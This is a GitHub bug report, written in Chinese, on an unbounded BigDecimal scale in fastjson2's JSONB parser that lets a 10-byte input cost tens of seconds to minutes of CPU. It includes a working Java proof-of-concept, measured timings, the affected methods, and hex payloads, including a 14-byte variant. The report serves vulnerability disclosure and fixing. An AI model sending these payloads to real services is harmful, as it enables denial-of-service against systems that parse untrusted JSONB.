Skip to content

[BUG] JSONB 解析未对 BC_DECIMAL 的 scale 设上界,小输入可触发数十秒级 CPU 计算 #7857

Description

@L1nq0

问题描述

以下基于 fastjson2 2.0.65 复验(2.0.56 首测,两版源码在涉及位点同形;2.0.65 即当前 master)。

JSONB 二进制格式中 BC_DECIMAL 记录的 scale 是线上原样读取的 32-bit int。JSONReaderJSONB 的多处解析分支把它直接送进 new BigDecimal(unscaled, scale) 及其后的换算(toBigInteger、longValue、intValue、toString 等),既不对 scale 的绝对值设上界,也不与输入剩余长度对照。当 |scale| 很大时,这些换算需要构造 10^|scale| 的 BigInteger(JDK BigInteger.pow,Karatsuba/Toom-Cook 乘法路径),很小的输入就能触发长时间单核计算。

实测(OpenJDK 21,Linux x86_64):10 字节 JSONB 输入、scale 为 -67,000,000 时,一次 JSONB.parse 约 35 秒单核计算(2.0.65 实测 35.3 s;2.0.56 实测 33 秒级)。scale 为正时走除法支,同样要构造 10^scale(+2^24 实测 3.10 s)。放大上界来自 JDK BigInteger 的量程守卫:scale 为 -2^30 时抛 ArithmeticException,-2^29 实测 413 s 完成。也就是说在该 JDK 内,单次解析的 CPU 成本最高可到分钟级。

同型位点(2.0.65 源码 JSONReaderJSONB.java,共 10 处):readAny、skipValue、readStringTypeNotMatch、readInt64Value0、readInt32Value0、readFloat0、readDoubleValue0、readNumber、readBigDecimal、readBigInteger0。全部是 readInt32Value() 裸读 scale 后直接构造或换算,无一处校验。其中 readInt32Value0 / readInt64Value0 会把嵌套 decimal 截断成 int 再充当外层 scale(如嵌套的 BigDecimal(-67, 1) 即 -6.7 截断为 -6 后,作为 scale 与 -67 组成 -67,000,000,再充当外层 scale),不需要直接编码大整数就能得到全 32-bit 的 scale。

环境信息

OS 信息:Ubuntu 24.04,Linux x86_64
JDK 信息:OpenJDK 21.0.12
版本信息:fastjson2 2.0.65(复验)与 2.0.56(首测),涉及位点两版同形

重现步骤

只需 fastjson2 单 jar,无其他依赖。下面的最小构造器从第一性原理合成 10 字节 JSONB body:

b9 00 b9 48 <4 字节大端 scale> bd 01

顶层是 BC_DECIMAL(scale 为 0),其 unscaled 值本身又是一个 BC_DECIMAL,后者的 scale 字段是原始 BC_INT32 32-bit 整数,因此 scale 可为任意 int 值。

import com.alibaba.fastjson2.JSONB;

import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.HexFormat;

public class N2Construct {
    public static void main(String[] args) throws Exception {
        int scale = args.length > 0 ? Integer.parseInt(args[0]) : -67_000_000;
        byte[] body = new byte[]{
                (byte) 0xb9, 0x00, (byte) 0xb9, 0x48,
                (byte) (scale >>> 24), (byte) (scale >>> 16), (byte) (scale >>> 8), (byte) scale,
                (byte) 0xbd, 0x01
        };
        System.out.printf("synthesized body (%d bytes, scale1=%d): %s%n",
                body.length, scale, HexFormat.of().formatHex(body));
        long t0 = System.nanoTime();
        Object o = JSONB.parse(body);
        double wall = (System.nanoTime() - t0) / 1e9;
        if (o instanceof BigDecimal) {
            BigDecimal d = (BigDecimal) o;
            System.out.printf("result: BigDecimal scale=%d unscaledBits=%d signum=%d%n",
                    d.scale(), d.unscaledValue().bitLength(), d.signum());
        } else {
            System.out.println("result: " + o.getClass().getName());
        }
        System.out.printf("parse wall = %.3f s%n", wall);
    }
}
javac -cp fastjson2-2.0.65.jar N2Construct.java
java -cp .:fastjson2-2.0.65.jar N2Construct -67000000

每点 fresh JVM,2.0.65 实测:

scale -10 / +10:0.13 s(JVM 启动占主要,解析本身亚毫秒)
scale -2^20:0.29 s
scale -2^24:3.28 s
scale +2^24:3.10 s(除法支,同样进入 10^scale 构造)
scale -67,000,000:35.3 s
scale -2^30:快速抛 ArithmeticException

2.0.56 在同机实测的更长曲线与之一致:-2^26 为 19.1 s,-2^28 为 143.7 s,-2^29 为 413.0 s。增长被 Karatsuba/Toom-Cook 夹持,局部指数从约 0.6 升到 1.5。

期待的正确结果

解析器在读取 BC_DECIMAL 的 scale 时做上界校验(例如与输入剩余长度对照,或对 scale 绝对值设上限),超界时抛 JSONException,不进入 10^|scale| 的构造计算,使单次解析的 CPU 成本与输入规模保持合理比例。

相关日志输出

2.0.65 构造器默认点的输出:

synthesized body (10 bytes, scale1=-67000000): b900b948fc01a940bd01
result: BigDecimal scale=0 unscaledBits=222569183 signum=1
parse wall = 35.308 s

scale 为 -2^30 时的异常(同一换算链,从 readBigInteger0 读到的 scale 直接进入 BigDecimal 换算):

Exception in thread "main" java.lang.ArithmeticException: BigInteger would overflow supported range
	at java.base/java.math.BigInteger.reportOverflow(BigInteger.java:1184)
	at java.base/java.math.BigInteger.pow(BigInteger.java:2633)
	at java.base/java.math.BigDecimal.bigTenToThe(BigDecimal.java:4375)
	at java.base/java.math.BigDecimal.bigMultiplyPowerTen(BigDecimal.java:4510)
	at java.base/java.math.BigDecimal.setScale(BigDecimal.java:2936)
	at java.base/java.math.BigDecimal.toBigInteger(BigDecimal.java:3551)
	at com.alibaba.fastjson2.JSONReaderJSONB.readBigInteger0(JSONReaderJSONB.java:4448)
	at com.alibaba.fastjson2.JSONReaderJSONB.readBigInteger(JSONReaderJSONB.java:4374)
	at com.alibaba.fastjson2.JSONReaderJSONB.readAny(JSONReaderJSONB.java:682)
	at com.alibaba.fastjson2.JSONReaderJSONB.readAnyObject(JSONReaderJSONB.java:1248)
	at com.alibaba.fastjson2.JSONB.parse(JSONB.java:447)
	at N2Construct.main(N2Construct.java:36)

附加信息

机制链:readBigInteger0 读到 BC_DECIMAL 后 new BigDecimal(unscaled, scale),再 toBigInteger() 经 setScale(0)、bigMultiplyPowerTen(|scale|)、bigTenToThe 到 BigInteger.pow 构造 10^|scale|。

skipValue 的 case BC_DECIMAL 目前直接调用 readInt32Value() 加 readBigInteger()(源码此处有 TODO skip big decimal 注释),同样进入这条路径。readStringTypeNotMatch 走 decimal.toString(),位数展开同量级。

另有一个 14 字节变体 b92db9b9b9b1b900bdbdbdbdbdbd,其顶层 scale 经上面提到的嵌套截断路径得到,实测 36.2 s,量级相同。

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions